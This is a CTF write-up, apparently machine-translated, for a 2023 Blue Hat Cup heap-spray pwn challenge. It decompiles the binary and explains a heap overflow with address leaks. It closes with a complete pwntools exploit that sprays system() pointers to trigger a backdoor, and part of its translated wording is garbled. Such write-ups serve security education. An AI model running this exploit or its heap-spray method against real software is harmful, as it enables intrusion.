From the 2023 Blue Hat Cup 0 problem solving heapSpary entry heap spray

From the 2023 Blue Hat Cup 0 problem solving heapSpary entry heap spray

About Heap Spraying

Heap spraying (Heap Spraying) is a computer security attack technique that aims to create multiple memory blocks containing malicious payloads in the heap of a process. This technique allows an attacker to avoid the need to know the exact memory address of a payload, because by broadly "spraying" the heap, an attacker can increase the chances of a malicious payload being successfully executed.

This technique is especially used to bypass Address Space Layout Randomization (ASLR) and other memory protection mechanisms. Especially effective for exploiting vulnerabilities in browsers and other client applications.

foreword

This question is the 0-solution pwn question of the 2023 Blue Hat Cup Preliminary Competition. It was released in the afternoon during the competition. It is difficult to complete this question at the match point. It is a relatively difficult question. The core idea of ​​his question is indeed the same as the name of the question. Spray, a lot of randomization and skateboarding command ideas, completed the breakout a day after the game. I think this question is meaningful not because of the 0 solution, but because his idea of ​​heap spraying fits well with the actual use of binary at work, and it is indeed the first time to answer this question.

topic analysis

checksec

❯ checksec main
[*] '/root/P-W-N/bulue/main'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The protection is fully open, which is normal.

In fact, if this question can be quickly and statically analyzed, it can actually be solved quickly. It can be regarded as a lesson for me. If my big brother GXH is there, it is estimated that it can become the only solution in the competition.

First look at the whole program is to go to the symbol table, we first locate the main function at start, the first parameter of __libc_start_main is the address of the main function

// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
  int v2; // esi
  int v3; // [esp-4h] [ebp-4h] BYREF
  char *retaddr; // [esp+0h] [ebp+0h] BYREF

  v2 = v3;
  v3 = a1;
  __libc_start_main(
    (int (__cdecl *)(int, char **, char **))sub_1D64,
    v2,
    &retaddr,
    (void (*)(void))sub_1D90,
    (void (*)(void))sub_1E00,
    a2,
    &v3);
  __halt();
}

This main has nothing to look at, fast forward to initialization and menus

The initialization is as follows

unsigned int sub_134D()
{
  unsigned int result; // eax
  unsigned int buf; // [esp+0h] [ebp-18h] BYREF
  int fd; // [esp+4h] [ebp-14h]
  int v3; // [esp+8h] [ebp-10h]
  unsigned int v4; // [esp+Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 4u) < 0 )
    exit(0);
  close(fd);
  srand(buf);
  v3 = rand();
  malloc(4 * (v3 % 1638));
  result = __readgsdword(0x14u) ^ v4;
  if ( result )
    sub_1E10();
  return result;
}

The impact of initialization is not very big, that is, a chunk of random size is created, but because the chunk is not released later, it has no impact.

To help you study cybersecurity, you can receive a full set of information for free:
① Mind map of cybersecurity learning and growth path
② 60+ classic cybersecurity toolkits
③ 100+ SRC analysis reports
④ 150+ e-books on cybersecurity attack and defense techniques
⑤ The most authoritative CISSP Certification Exam Guide + Question Bank
⑥ More than 1800 pages of CTF Practical Skills Manual
⑦ A collection of the latest interview questions from network security companies (including answers)
⑧ APP Client Security Testing Guide (Android+IOS)

Looking at the menu, 4 is the void function that does not exist

int sub_15E4()
{
  puts("========Welcome to new heap game========");
  puts("1. Create Heap.");
  puts("2. Show Heap.");
  puts("3. Delete Heap.");
  puts("4. Change Heap.");
  puts("5. Action.");
  puts("6. Exit.");
  return printf("Please give me your choose : ");
}

Let's take a look at the backdoor function 5

int sub_1C14()
{
  int result; // eax
  unsigned int v1; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+10h] [ebp-18h]

  printf("Please input heap index : ");
  v1 = sub_1461();
  if ( v1 > 0xFFF || !dword_4060[2 * v1] )
    return puts("Error happened.");
  v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
  if ( !**(_DWORD **)v2 )

    return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
  result = *(_DWORD *)v2;
  --**(_DWORD **)v2;
  return result;
}

Regarding the address 0x4060, the address of the heap is stored in front of this place, and the size of the heap is stored in the back. The upper limit of the number of heaps is 0xFFF.

Let's see v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];

This is to take the heap address, then add the heap address to the heap size (controllable input of any value) and assign it to v2, for example

0x565a1060:     0x57aebf90      0x00000100

The result is 0x57aec090

Then perform a memory detection operation on the address stored in 0x57aec090, if the first 4 bits are 0, execute the back door, and take the last 4 bits of the memory at the address in 0x57aec090 to call the pointer function. At this point the linked list is as follows

 0x57aec090 —▸ 0x57aeb300 ◂— 0x0

0x57aeb300 memory is as follows (0xf7d99781 is system address)

pwndbg> x/32wx 0x57aeb300
0x57aeb300:     0x00000000      0xf7d99781      0x00000000      0xf7d99781

After analyzing the back door, let's take a look at the add function. It can be seen that it is very long, and then the focus is on Switch selection and sub_14BA function

_DWORD *sub_1690()
{
  _DWORD *result; // eax
  int i; // [esp+4h] [ebp-34h]
  int k; // [esp+8h] [ebp-30h]
  int j; // [esp+Ch] [ebp-2Ch]
  int m; // [esp+10h] [ebp-28h]
  int v5; // [esp+14h] [ebp-24h]
  int v6; // [esp+18h] [ebp-20h]
  int v7; // [esp+1Ch] [ebp-1Ch]

  for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
    ;
  if ( (int *)i == off_4010 )
    return (_DWORD *)puts("Ooops! Here is no space for you.");
  printf("How much space do you need : ");
  v5 = sub_1461();
  if ( v5 <= 0 || v5 > 0x20000 )
    return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
  for ( j = 0; j <= 15; ++j )
  {
    for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
      ;
    dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
    dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
    if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
    {
      puts("Ooops! Some error happened.");
      exit(-1);
    }
  }
  for ( m = 0; m <= 15; ++m )
  {
    puts("Please input your head data.");
    sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
    puts("Which flag do you want?");
    v6 = sub_1461();
    v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
    switch ( v6 )
    {
      case 1:
        *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
        break;
      case 2:
        *(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
        break;
      case 3:
        *(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
        break;
      case 4:
        *(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
        break;
    }
  }
  printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
  result = dword_4040;
  dword_4040[0] = i;
  return result;
}

Let's take a look at the sub_14BA function first, and we can see that the logic is infinitely read in, and there is a heap overflow, which will be used for subsequent heap spray sliding. At the end of the input, it will become a 0 truncation character, which is equivalent to having an off by null, but it is not used here. The core lies in the heap block bin structure. You must be very familiar with the bin recycling mechanism and make good use of the following Switch option to truncate 0 to bypass.

int __cdecl sub_14BA(char *buf, int a2)
{
  while ( a2 )
  {
    if ( read(0, buf, 1u) != 1 )
      exit(-1);
    if ( *buf == 10 )
    {
      *buf = 0;
      break;
    }
    ++buf;
  }
  *buf = 0;
  return 0;
}

Let's continue to look at this Switch option. In fact, the four options are almost the same, but the address of the return value is different. Just adjust one.

He will assign values ​​to all the chunks on 0x4060, let's focus on the value of v7 first

dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];

It can be seen that the value of v7 is also the starting address of the heap plus our size. Note that this size is entered by ourselves, that is, we can type 1, 2, 3...

If this is the case, for example, our starting address is 0x100, the size is input 1, and the content is input a, then after the following case 1 operation

 case 1:
        *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;

You will get the following content (the bytecode here is only used as a substitute, not the real situation)

0x100:a
0x101:\x01
0x102:\x02
0x103:\x03
0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖)
0x105:libc or heap
0x106:libc or heap
0x107:libc or heap

If you don’t call any of these 4 cases, it will become as follows, and finally a truncation character will be forcibly added at the end because of the previous overflow read function

0x100:a
0x101:\x00
0x102:libc or heap
..................

In other words, as long as you grasp the BK pointer of a heap block and store the heap address or libc address, you can apply for a heap block with a size of 1 (actually 0x10) to bypass 0 truncation and leak the address.

For this chunk structure, I directly chose a very violent operation, because it will directly apply for 16 chunks in one-time add operation, and it will be all free when it is free.

So the exp of the leak operation is as follows, directly destroying their linked list

create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)

delete_heap()
delete_heap()
delete_heap()
delete_heap()

create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)

The bin is as follows

pwndbg> bin
tcachebins
0x10 [  7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0
0x70 [  7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0
0xb0 [  7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0
fastbins
0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 —▸ 0x579ae238 —▸ 0x579ae328 ◂— ...
unsortedbin
all [corrupted]
FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ...
BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ...
smallbins
empty
largebins
empty
pwndbg>

At this time, the following fairy piles will appear, which is the most perfect pile we want

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x579ae8e8
Size: 0x151
fd: 0xf7f48778
bk: 0x579ae338

But you have to understand that unsortedbin is more than this one, and he is not necessarily at the head of the linked list every time, so we need to write a full output and filtering operation

# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None

for i in range(46):
    leak = leak_libc(i)
    if leak > 0x56000000:
        leak_all.append(leak)
        print(hex(leak))
        
        # Assigning values to heap_addr and libc_base
        if heap_addr is None and leak < 0xf7000000:
            heap_addr = leak+0x1000-0x56
        elif libc_base is None and leak > 0xf7000000:
            libc_base = leak-0x1eb756

In this way, libc and a heap address can be obtained stably.

Then, after memory debugging, it was found that the heap address has a certain probability under the heap block applied for later, we can perform stack overflow to overwrite the content of the heap address, and complete the conditions required by the above backdoor.

Therefore, directly carry out heap spray coverage, the chunk+0x100 with an index of 0 must be under it, we have to consider whether the heap geomancy and the heap_addr leaked above are also behind the chunk with an index of 0. For this problem Leave it to luck, and you'll be done.

Tips: (The feng shui above is because he used the random random assignment subscript interference program to enhance the randomization when adding, sometimes the linked list is not as perfect as I thought, and it is possible to step on the value and not step on 0x580e97a0 —▸ 0x580e8900 ◂— 0, it will become 0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 This is because the padding is unstable due to Feng Shui,)

# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")

exp

from pwn import *

# 连接到题目提供的服务端
p = process('./main')
context.log_level='debug'
libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')
def create_heap(size, data,data2,flag):
    p.sendlineafter("Please give me your choose : ", "1")
    p.sendlineafter("How much space do you need : ", str(size))
    p.sendlineafter("Please input your head data.", data)
    p.sendlineafter("Which flag do you want?", str(flag))
    for _ in range(15):
        p.sendlineafter("Please input your head data.", data2)
        p.sendlineafter("Which flag do you want?", str(flag))

def delete_heap():
    p.sendlineafter("Please give me your choose : ", "3")

all_leak=[]
def leak_libc(idx):
    p.sendlineafter("Please give me your choose : ", "2")
    p.sendlineafter("Please input heap index : ", str(idx))
    p.recvuntil("Heap information is ")
    p.recv(4)
    leak = u32(p.recv(4).ljust(4,b'\x00'))
    return leak
gdb.attach(p,'b *$rebase(0x01C9E)')

#构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)

delete_heap()
delete_heap()
delete_heap()
delete_heap()

#申请小chunk 疯狂切割,直接一点点带出来
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)

# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None

for i in range(46):
    leak = leak_libc(i)
    if leak > 0x56000000:
        leak_all.append(leak)
        print(hex(leak))
        
        # Assigning values to heap_addr and libc_base
        if heap_addr is None and leak < 0xf7000000:
            heap_addr = leak+0x1000-0x56
        elif libc_base is None and leak > 0xf7000000:
            libc_base = leak-0x1eb756
delete_heap()
delete_heap()
delete_heap()
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
#堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")

p.interactive()

insert image description here

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/132585422
Recommended